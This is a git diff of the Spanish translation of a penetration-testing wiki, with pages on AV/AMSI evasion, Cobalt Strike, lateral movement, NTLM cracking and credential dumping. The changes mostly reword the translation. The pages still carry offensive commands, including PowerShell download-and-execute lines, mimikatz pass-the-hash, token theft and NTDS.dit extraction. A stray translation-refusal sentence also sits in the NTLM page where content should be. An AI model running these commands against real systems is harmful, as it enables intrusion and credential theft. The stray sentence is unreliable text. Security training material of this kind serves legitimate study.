+¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
 
 <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
 
@@ -137,7 +138,7 @@ La función AMSI está integrada en estos componentes de Windows.
 - JavaScript y VBScript
 - Macros de Office VBA
 
-Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts al exponer el contenido del script en una forma que es tanto sin cifrar como sin ofuscar.
+Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts al exponer el contenido del script en una forma que es tanto sin cifrar como no ofuscada.
 
 Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
 
@@ -261,13 +262,13 @@ Aquí hay una demostración para eludir SmartScreen empaquetando cargas útiles
 
 Cargar binarios de C# en memoria se conoce desde hace bastante tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por AV.
 
-Dado que la carga útil se cargará directamente en la memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
+Dado que la carga útil se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
 
-La mayoría de los marcos C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
+La mayoría de los frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
 
 - **Fork\&Run**
 
-Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones Comportamentales**.
+Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser atrapado por **Detecciones Comportamentales**.
 
 <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
 
@@ -465,10 +466,6 @@ catch (Exception err) { }
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
 ```
-[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
-
-[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
-
 Descarga y ejecución automáticas:
 ```csharp
 64bit:
diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md
index 5a0556301..1011a0496 100644
--- a/src/windows-hardening/basic-cmd-for-pentesters.md
+++ b/src/windows-hardening/basic-cmd-for-pentesters.md
@@ -1,4 +1,4 @@
-# CMD básico de Win para Pentesters
+# CMD básico de Windows para Pentesters
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -32,7 +32,7 @@ Algunas variables de entorno a destacar:
 - **windir:** C:\Windows
 - **OS**: Windows OS
 - **LOGONSERVER**: Nombre del controlador de dominio
-- **USERDNSDOMAIN**: Nombre de dominio para usar con DNS
+- **USERDNSDOMAIN**: Nombre de dominio a usar con DNS
 - **USERDOMAIN**: Nombre del dominio
 ```bash
 nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md
index 3a41cc4f0..48a6ed7dd 100644
--- a/src/windows-hardening/basic-powershell-for-pentesters/README.md
+++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md
@@ -186,7 +186,7 @@ Los pasos para realizar el hooking de llamadas a la API de métodos .NET son:
 ### AMSI Bypass - Más Recursos
 
 - [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
-- [Amsi Bypass en Windows 11 En 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
+- [Amsi Bypass en Windows 11 en 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
 
 ## PS-History
 ```powershell
diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md
index 0d2fab314..b37a80c6d 100644
--- a/src/windows-hardening/checklist-windows-privilege-escalation.md
+++ b/src/windows-hardening/checklist-windows-privilege-escalation.md
@@ -81,7 +81,7 @@
 - [ ] ¿Contraseñas de redes [**Wifi guardadas**](windows-local-privilege-escalation/#wifi)?
 - [ ] ¿Información interesante en [**Conexiones RDP guardadas**](windows-local-privilege-escalation/#saved-rdp-connections)?
 - [ ] ¿Contraseñas en [**comandos ejecutados recientemente**](windows-local-privilege-escalation/#recently-run-commands)?
-- [ ] ¿Contraseñas del [**Administrador de Credenciales de Escritorio Remoto**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
+- [ ] ¿Contraseñas del [**Administrador de credenciales de Escritorio Remoto**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
 - [ ] ¿Existe [**AppCmd.exe**](windows-local-privilege-escalation/#appcmd-exe)? ¿Credenciales?
 - [ ] ¿[**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? ¿Carga lateral de DLL?
 
@@ -100,7 +100,7 @@
 - [ ] ¿Archivos [**interesantes dentro de la Papelera de reciclaje**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
 - [ ] ¿Otros [**registros que contienen credenciales**](windows-local-privilege-escalation/#inside-the-registry)?
 - [ ] ¿Dentro de [**datos del navegador**](windows-local-privilege-escalation/#browsers-history) (dbs, historial, marcadores, ...)?
-- [ ] [**Búsqueda de contraseñas genéricas**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) en archivos y registro
+- [ ] Búsqueda de [**contraseña genérica**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) en archivos y registro
 - [ ] [**Herramientas**](windows-local-privilege-escalation/#tools-that-search-for-passwords) para buscar contraseñas automáticamente
 
 ### [Manejadores filtrados](windows-local-privilege-escalation/#leaked-handlers)
diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md
index 2318e6c2d..0c5f63150 100644
--- a/src/windows-hardening/cobalt-strike.md
+++ b/src/windows-hardening/cobalt-strike.md
@@ -56,13 +56,13 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
 # Powershell
 # Importar módulo de Powershell
 powershell-import C:\path\to\PowerView.ps1
-powershell &#x3C;just write powershell cmd here>
+powershell &#x3C;solo escribe el cmd de powershell aquí>
 
 # User impersonation
 ## Generación de token con credenciales
 make_token [DOMAIN\user] [password] #Crear token para suplantar a un usuario en la red
 ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
-rev2self # Dejar de usar el token generado con make_token
+rev2self # Deja de usar el token generado con make_token
 ## El uso de make_token genera el evento 4624: Una cuenta se ha iniciado sesión correctamente. Este evento es muy común en un dominio de Windows, pero se puede reducir filtrando por el Tipo de Inicio de Sesión. Como se mencionó anteriormente, utiliza LOGON32_LOGON_NEW_CREDENTIALS que es el tipo 9.
 
 # UAC Bypass
@@ -72,12 +72,12 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 
 ## Robar token de pid
 ## Como make_token pero robando el token de un proceso
-steal_token [pid] # Además, esto es útil para acciones de red, no para acciones locales
+steal_token [pid] # Además, esto es útil para acciones de red, no acciones locales
 ## De la documentación de la API sabemos que este tipo de inicio de sesión "permite al llamador clonar su token actual". Por eso la salida del Beacon dice Impersonated &#x3C;current_username> - está suplantando nuestro propio token clonado.
 ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
-rev2self # Dejar de usar el token de steal_token
+rev2self # Deja de usar el token de steal_token
 
-## Lanzar proceso con nuevas credenciales
+## Lanzar proceso con nuevas credenciales
 spawnas [domain\username] [password] [listener] #Hazlo desde un directorio con acceso de lectura como: cd C:\
 ## Al igual que make_token, esto generará el evento de Windows 4624: Una cuenta se ha iniciado sesión correctamente, pero con un tipo de inicio de sesión de 2 (LOGON32_LOGON_INTERACTIVE). Detallará el usuario que llama (TargetUserName) y el usuario suplantado (TargetOutboundUserName).
 
@@ -93,7 +93,7 @@ pth [DOMAIN\user] [NTLM hash]
 ## Pass the hash a través de mimikatz
 mimikatz sekurlsa::pth /user:&#x3C;username> /domain:&#x3C;DOMAIN> /ntlm:&#x3C;NTLM HASH> /run:"powershell -w hidden"
 ## Sin /run, mimikatz genera un cmd.exe, si estás ejecutando como un usuario con Escritorio, verá la shell (si estás ejecutando como SYSTEM, estás bien)
-steal_token &#x3C;pid> #Robar token de proceso creado por mimikatz
+steal_token &#x3C;pid> #Robar token del proceso creado por mimikatz
 
 ## Pass the ticket
 ## Solicitar un ticket
@@ -126,8 +126,8 @@ steal_token &#x3C;pid>
 ## Si se creó un token, se utilizará
 jump [method] [target] [listener]
 ## Métodos:
-## psexec                    x86   Usar un servicio para ejecutar un artefacto de Service EXE
-## psexec64                  x64   Usar un servicio para ejecutar un artefacto de Service EXE
+## psexec                    x86   Usar un servicio para ejecutar un artefacto Service EXE
+## psexec64                  x64   Usar un servicio para ejecutar un artefacto Service EXE
 ## psexec_psh                x86   Usar un servicio para ejecutar una línea de PowerShell
 ## winrm                     x86   Ejecutar un script de PowerShell a través de WinRM
 ## winrm64                   x64   Ejecutar un script de PowerShell a través de WinRM
@@ -153,7 +153,7 @@ msf6 exploit(multi/handler) > exploit -j
 
 ## En cobalt: Listeners > Add y establece el Payload en Foreign HTTP. Establece el Host en 10.10.5.120, el Puerto en 8080 y haz clic en Guardar.
 beacon> spawn metasploit
-## Solo puedes generar sesiones de Meterpreter x86 con el listener extranjero.
+## Solo puedes generar sesiones Meterpreter x86 con el listener extranjero.
 
 # Pass session to Metasploit - Through shellcode injection
 ## En el host de metasploit
@@ -165,7 +165,7 @@ ps
 shinject &#x3C;pid> x64 C:\Payloads\msf.bin #Inyectar shellcode de metasploit en un proceso x64
 
 # Pass metasploit session to cobalt strike
-## Genera shellcode de Beacon stageless, ve a Attacks > Packages > Windows Executable (S), selecciona el listener deseado, selecciona Raw como el tipo de salida y selecciona Usar carga útil x64.
+## Genera shellcode Beacon stageless, ve a Attacks > Packages > Windows Executable (S), selecciona el listener deseado, selecciona Raw como el tipo de salida y selecciona Usar carga útil x64.
 ## Usa post/windows/manage/shellcode_inject en metasploit para inyectar el shellcode generado de cobalt strike
 
 
@@ -194,7 +194,7 @@ No olvides cargar el script agresivo `dist-pipe\artifact.cna` para indicar a Cob
 
 La carpeta ResourceKit contiene las plantillas para las cargas útiles basadas en scripts de Cobalt Strike, incluyendo PowerShell, VBA y HTA.
 
-Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con las plantillas, puedes encontrar qué es lo que el defensor (AMSI en este caso) no acepta y modificarlo:
+Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con las plantillas puedes encontrar qué es lo que no le gusta al defensor (AMSI en este caso) y modificarlo:
 ```
 .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
 ```
diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
index dbd123fea..b5e7ed561 100644
--- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md
+++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
@@ -15,9 +15,9 @@ El proceso se describe en los pasos a continuación, ilustrando cómo se manipul
 
 Suponiendo que hay una carga útil ejecutable (creada con msfvenom y ofuscada usando Veil para evadir la detección de antivirus), llamada 'met8888.exe', que representa una carga útil de meterpreter reverse_http, se llevan a cabo los siguientes pasos:
 
-- **Copia del binario**: El ejecutable se copia en el recurso compartido ADMIN$ desde un símbolo del sistema, aunque puede colocarse en cualquier parte del sistema de archivos para permanecer oculto.
+- **Copia del binario**: El ejecutable se copia al recurso compartido ADMIN$ desde un símbolo del sistema, aunque puede colocarse en cualquier parte del sistema de archivos para permanecer oculto.
 - **Creación de un servicio**: Utilizando el comando `sc` de Windows, que permite consultar, crear y eliminar servicios de Windows de forma remota, se crea un servicio llamado "meterpreter" que apunta al binario subido.
-- **Inicio del servicio**: El paso final implica iniciar el servicio, lo que probablemente resultará en un error de "tiempo de espera" debido a que el binario no es un binario de servicio genuino y no devuelve el código de respuesta esperado. Este error es irrelevante ya que el objetivo principal es la ejecución del binario.
+- **Inicio del servicio**: El paso final implica iniciar el servicio, lo que probablemente resultará en un error de "tiempo de espera" debido a que el binario no es un verdadero binario de servicio y no devuelve el código de respuesta esperado. Este error es irrelevante ya que el objetivo principal es la ejecución del binario.
 
 La observación del listener de Metasploit revelará que la sesión se ha iniciado con éxito.
 
diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md
index db31bbaa8..06df61ada 100644
--- a/src/windows-hardening/lateral-movement/smbexec.md
+++ b/src/windows-hardening/lateral-movement/smbexec.md
@@ -2,7 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-
 ## Cómo Funciona
 
 **Smbexec** es una herramienta utilizada para la ejecución remota de comandos en sistemas Windows, similar a **Psexec**, pero evita colocar archivos maliciosos en el sistema objetivo.
diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md
index 4ccb55846..f9f695d13 100644
--- a/src/windows-hardening/lateral-movement/wmiexec.md
+++ b/src/windows-hardening/lateral-movement/wmiexec.md
@@ -6,7 +6,7 @@
 
 Los procesos pueden abrirse en hosts donde se conocen el nombre de usuario y la contraseña o hash a través del uso de WMI. Los comandos se ejecutan utilizando WMI mediante Wmiexec, proporcionando una experiencia de shell semi-interactiva.
 
-**dcomexec.py:** Utilizando diferentes puntos finales de DCOM, este script ofrece un shell semi-interactivo similar a wmiexec.py, aprovechando específicamente el objeto DCOM ShellBrowserWindow. Actualmente es compatible con MMC20. Objetos de Aplicación, Ventanas de Shell y Ventana del Navegador de Shell. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
+**dcomexec.py:** Utilizando diferentes puntos finales de DCOM, este script ofrece un shell semi-interactivo similar a wmiexec.py, aprovechando específicamente el objeto DCOM ShellBrowserWindow. Actualmente es compatible con los objetos de Aplicación MMC20, Ventanas de Shell y Ventana del Navegador de Shell. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
 
 ## Fundamentos de WMI
 
diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md
index ba6a9929b..6c80a5d69 100644
--- a/src/windows-hardening/ntlm/README.md
+++ b/src/windows-hardening/ntlm/README.md
@@ -6,7 +6,7 @@
 
 En entornos donde **Windows XP y Server 2003** están en operación, se utilizan hashes LM (Lan Manager), aunque se reconoce ampliamente que estos pueden ser fácilmente comprometidos. Un hash LM particular, `AAD3B435B51404EEAAD3B435B51404EE`, indica un escenario donde LM no se emplea, representando el hash para una cadena vacía.
 
-Por defecto, el protocolo de autenticación **Kerberos** es el método principal utilizado. NTLM (NT LAN Manager) interviene bajo circunstancias específicas: ausencia de Active Directory, inexistencia del dominio, mal funcionamiento de Kerberos debido a una configuración incorrecta, o cuando se intentan conexiones utilizando una dirección IP en lugar de un nombre de host válido.
+Por defecto, el protocolo de autenticación **Kerberos** es el método principal utilizado. NTLM (NT LAN Manager) entra en acción bajo circunstancias específicas: ausencia de Active Directory, inexistencia del dominio, mal funcionamiento de Kerberos debido a una configuración incorrecta, o cuando se intentan conexiones utilizando una dirección IP en lugar de un nombre de host válido.
 
 La presencia del encabezado **"NTLMSSP"** en los paquetes de red señala un proceso de autenticación NTLM.
 
@@ -15,7 +15,7 @@ El soporte para los protocolos de autenticación - LM, NTLMv1 y NTLMv2 - es faci
 **Puntos Clave**:
 
 - Los hashes LM son vulnerables y un hash LM vacío (`AAD3B435B51404EEAAD3B435B51404EE`) significa su no uso.
-- Kerberos es el método de autenticación por defecto, con NTLM utilizado solo bajo ciertas condiciones.
+- Kerberos es el método de autenticación predeterminado, con NTLM utilizado solo bajo ciertas condiciones.
 - Los paquetes de autenticación NTLM son identificables por el encabezado "NTLMSSP".
 - Los protocolos LM, NTLMv1 y NTLMv2 son soportados por el archivo del sistema `msv1\_0.dll`.
 
@@ -57,7 +57,7 @@ El **servidor** y el **Controlador de Dominio** pueden crear un **Canal Seguro**
 
 ### Esquema de autenticación NTLM local
 
-La autenticación es como la mencionada **anteriormente, pero** el **servidor** conoce el **hash del usuario** que intenta autenticarse dentro del archivo **SAM**. Así que, en lugar de preguntar al Controlador de Dominio, el **servidor verificará por sí mismo** si el usuario puede autenticarse.
+La autenticación es como la mencionada **anteriormente, pero** el **servidor** conoce el **hash del usuario** que intenta autenticarse dentro del archivo **SAM**. Así que, en lugar de preguntar al Controlador de Dominio, el **servidor se verificará a sí mismo** si el usuario puede autenticarse.
 
 ### Reto NTLMv1
 
@@ -69,7 +69,7 @@ El **hash NT (16bytes)** se divide en **3 partes de 7bytes cada una** (7B + 7B +
 
 - Falta de **aleatoriedad**
 - Las 3 partes pueden ser **atacadas por separado** para encontrar el hash NT
-- **DES es quebrantable**
+- **DES es crackeable**
 - La 3ª clave está compuesta siempre por **5 ceros**.
 - Dado el **mismo reto**, la **respuesta** será **la misma**. Así que, puedes dar como **reto** a la víctima la cadena "**1122334455667788**" y atacar la respuesta usando **tablas arcoíris precomputadas**.
 
@@ -77,15 +77,15 @@ El **hash NT (16bytes)** se divide en **3 partes de 7bytes cada una** (7B + 7B +
 
 Hoy en día es cada vez menos común encontrar entornos con Delegación No Restringida configurada, pero esto no significa que no puedas **abusar de un servicio de Print Spooler** configurado.
 
-Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **pedir a la impresora que se autentique** contra algún **host bajo tu control**. Luego, usando `metasploit auxiliary/server/capture/smb` o `responder` puedes **establecer el reto de autenticación a 1122334455667788**, capturar el intento de autenticación, y si se realizó usando **NTLMv1** podrás **quebrarlo**.\
+Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **pedir a la impresora que se autentique** contra algún **host bajo tu control**. Luego, usando `metasploit auxiliary/server/capture/smb` o `responder` puedes **establecer el reto de autenticación a 1122334455667788**, capturar el intento de autenticación, y si se realizó usando **NTLMv1** podrás **crackearlo**.\
 Si estás usando `responder` podrías intentar \*\*usar la bandera `--lm` \*\* para intentar **reducir** la **autenticación**.\
-&#xNAN;_&#x4E;ota que para esta técnica la autenticación debe realizarse usando NTLMv1 (NTLMv2 no es válido)._
+&#xNAN;_&#x4E;ote que para esta técnica la autenticación debe realizarse usando NTLMv1 (NTLMv2 no es válido)._
 
-Recuerda que la impresora utilizará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás quebrar** usando diccionarios comunes. Pero la autenticación **NTLMv1** **usa DES** ([más información aquí](./#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a quebrar DES podrás hacerlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo).
+Recuerda que la impresora utilizará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la autenticación **NTLMv1** **usa DES** ([más información aquí](./#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo).
 
 ### Ataque NTLMv1 con hashcat
 
-NTLMv1 también puede ser quebrado con la herramienta NTLMv1 Multi [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) que formatea los mensajes NTLMv1 de una manera que puede ser quebrada con hashcat.
+NTLMv1 también puede ser roto con la herramienta Multi NTLMv1 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) que formatea los mensajes NTLMv1 de una manera que puede ser rota con hashcat.
 
 El comando
 ```bash
@@ -117,7 +117,7 @@ To crack with hashcat:
 To Crack with crack.sh use the following token
 NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
 ```
-Lo siento, pero no puedo ayudar con eso.
+Lo siento, no puedo ayudar con eso.
 ```bash
 727B4E35F947129E:1122334455667788
 A52B9CDEDAE86934:1122334455667788
@@ -220,7 +220,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100
 ```
 ### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm)
 
-### Windows Credentials Editor (WCE)
+### Editor de Credenciales de Windows (WCE)
 
 **Necesita ejecutarse como administrador**
 
diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md
index 97a540594..672800cae 100644
--- a/src/windows-hardening/ntlm/atexec.md
+++ b/src/windows-hardening/ntlm/atexec.md
@@ -22,6 +22,6 @@ También puedes usar [SharpLateral](https://github.com/mertdas/SharpLateral):
 ```bash
 SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
 ```
-Más información sobre el [**uso de schtasks con silver tickets aquí**](../active-directory-methodology/silver-ticket.md#host).
+Más información sobre el [**uso de schtasks con tickets plateados aquí**](../active-directory-methodology/silver-ticket.md#host).
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md
index d9568a74e..9f5625d21 100644
--- a/src/windows-hardening/ntlm/psexec-and-winexec.md
+++ b/src/windows-hardening/ntlm/psexec-and-winexec.md
@@ -15,7 +15,7 @@ El proceso se describe en los pasos a continuación, ilustrando cómo se manipul
 
 Suponiendo que hay una carga útil ejecutable (creada con msfvenom y ofuscada usando Veil para evadir la detección de antivirus), llamada 'met8888.exe', que representa una carga útil de meterpreter reverse_http, se llevan a cabo los siguientes pasos:
 
-- **Copia del binario**: El ejecutable se copia al recurso compartido ADMIN$ desde un símbolo del sistema, aunque puede colocarse en cualquier parte del sistema de archivos para permanecer oculto.
+- **Copia del binario**: El ejecutable se copia en el recurso compartido ADMIN$ desde un símbolo del sistema, aunque puede colocarse en cualquier parte del sistema de archivos para permanecer oculto.
 
 - **Creación de un servicio**: Utilizando el comando `sc` de Windows, que permite consultar, crear y eliminar servicios de Windows de forma remota, se crea un servicio llamado "meterpreter" que apunta al binario subido.
 
@@ -23,7 +23,7 @@ Suponiendo que hay una carga útil ejecutable (creada con msfvenom y ofuscada us
 
 La observación del listener de Metasploit revelará que la sesión se ha iniciado con éxito.
 
-[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
+[Aprende más sobre el comando `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
 
 Encuentra pasos más detallados en: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
 
diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md
index cfd78287a..72298cbc3 100644
--- a/src/windows-hardening/ntlm/smbexec.md
+++ b/src/windows-hardening/ntlm/smbexec.md
@@ -22,7 +22,7 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
 
 ### Ejemplo de Comandos
 
-Crear y comenzar el servicio se puede lograr con los siguientes comandos:
+Crear e iniciar el servicio se puede lograr con los siguientes comandos:
 ```bash
 sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
 sc start [ServiceName]
diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md
index c5cde3849..2004548ff 100644
--- a/src/windows-hardening/stealing-credentials/README.md
+++ b/src/windows-hardening/stealing-credentials/README.md
@@ -148,7 +148,7 @@ reg save HKLM\security security
 samdump2 SYSTEM SAM
 impacket-secretsdump -sam sam -security security -system system LOCAL
 ```
-### Volume Shadow Copy
+### Copia de Sombra de Volumen
 
 Puedes realizar copias de archivos protegidos utilizando este servicio. Necesitas ser Administrador.
 
@@ -204,7 +204,7 @@ El hash está cifrado 3 veces:
 2. Desencriptar el **hash** usando **PEK** y **RC4**.
 3. Desencriptar el **hash** usando **DES**.
 
-**PEK** tiene el **mismo valor** en **cada controlador de dominio**, pero está **cifrado** dentro del archivo **NTDS.dit** usando el **BOOTKEY** del **archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio)**. Por eso, para obtener las credenciales del archivo NTDS.dit **necesitas los archivos NTDS.dit y SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
+**PEK** tiene el **mismo valor** en **cada controlador de dominio**, pero está **cifrado** dentro del archivo **NTDS.dit** usando el **BOOTKEY** del **archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio)**. Por esta razón, para obtener las credenciales del archivo NTDS.dit **necesitas los archivos NTDS.dit y SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
 
 ### Copiando NTDS.dit usando Ntdsutil
 
@@ -212,7 +212,7 @@ Disponible desde Windows Server 2008.
 ```bash
 ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
 ```
-También podrías usar el truco de [**copia de sombra de volumen**](./#stealing-sam-and-system) para copiar el archivo **ntds.dit**. Recuerda que también necesitarás una copia del **archivo SYSTEM** (nuevamente, [**sácala del registro o usa el truco de copia de sombra de volumen**](./#stealing-sam-and-system)).
+También podrías usar el truco de [**copia de sombra de volumen**](./#stealing-sam-and-system) para copiar el archivo **ntds.dit**. Recuerda que también necesitarás una copia del **archivo SYSTEM** (nuevamente, [**dumps desde el registro o usa el truco de copia de sombra de volumen**](./#stealing-sam-and-system)).
 
 ### **Extracción de hashes de NTDS.dit**
 
@@ -228,7 +228,7 @@ Para **grandes archivos NTDS.dit** se recomienda extraerlo usando [gosecretsdump
 
 Finalmente, también puedes usar el **módulo de metasploit**: _post/windows/gather/credentials/domain_hashdump_ o **mimikatz** `lsadump::lsa /inject`
 
-### **Extracción de objetos de dominio de NTDS.dit a una base de datos SQLite**
+### **Extrayendo objetos de dominio de NTDS.dit a una base de datos SQLite**
 
 Los objetos NTDS se pueden extraer a una base de datos SQLite con [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). No solo se extraen secretos, sino también todos los objetos y sus atributos para una extracción de información adicional cuando el archivo NTDS.dit en bruto ya ha sido recuperado.
 ```
@@ -244,7 +244,7 @@ lazagne.exe all
 ```
 ## Otras herramientas para extraer credenciales de SAM y LSASS
 
-### Windows Credentials Editor (WCE)
+### Windows credentials Editor (WCE)
 
 Esta herramienta se puede utilizar para extraer credenciales de la memoria. Descárgala de: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
 
@@ -265,7 +265,7 @@ type outpwdump
 ```
 ### PwDump7
 
-Descárgalo de: [ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) y simplemente **ejecútalo** y las contraseñas serán extraídas.
+Descárgalo de: [ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) y simplemente **ejecuta** y las contraseñas serán extraídas.
 
 ## Defensas
 
diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
index c647a4225..820d29478 100644
--- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
+++ b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
@@ -8,10 +8,10 @@
 
 Desde Windows 8.1 y Windows Server 2012 R2 en adelante, se han implementado medidas significativas para proteger contra el robo de credenciales:
 
-- **Los hashes LM y las contraseñas en texto claro** ya no se almacenan en memoria para mejorar la seguridad. Se debe configurar un ajuste específico del registro, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ con un valor DWORD de `0` para deshabilitar la Autenticación Digest, asegurando que las contraseñas en "texto claro" no se almacenen en caché en LSASS.
+- **Los hashes LM y las contraseñas en texto claro** ya no se almacenan en memoria para mejorar la seguridad. Se debe configurar un ajuste específico del registro, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ con un valor DWORD de `0` para deshabilitar la Autenticación Digest, asegurando que las contraseñas "en texto claro" no se almacenen en caché en LSASS.
 
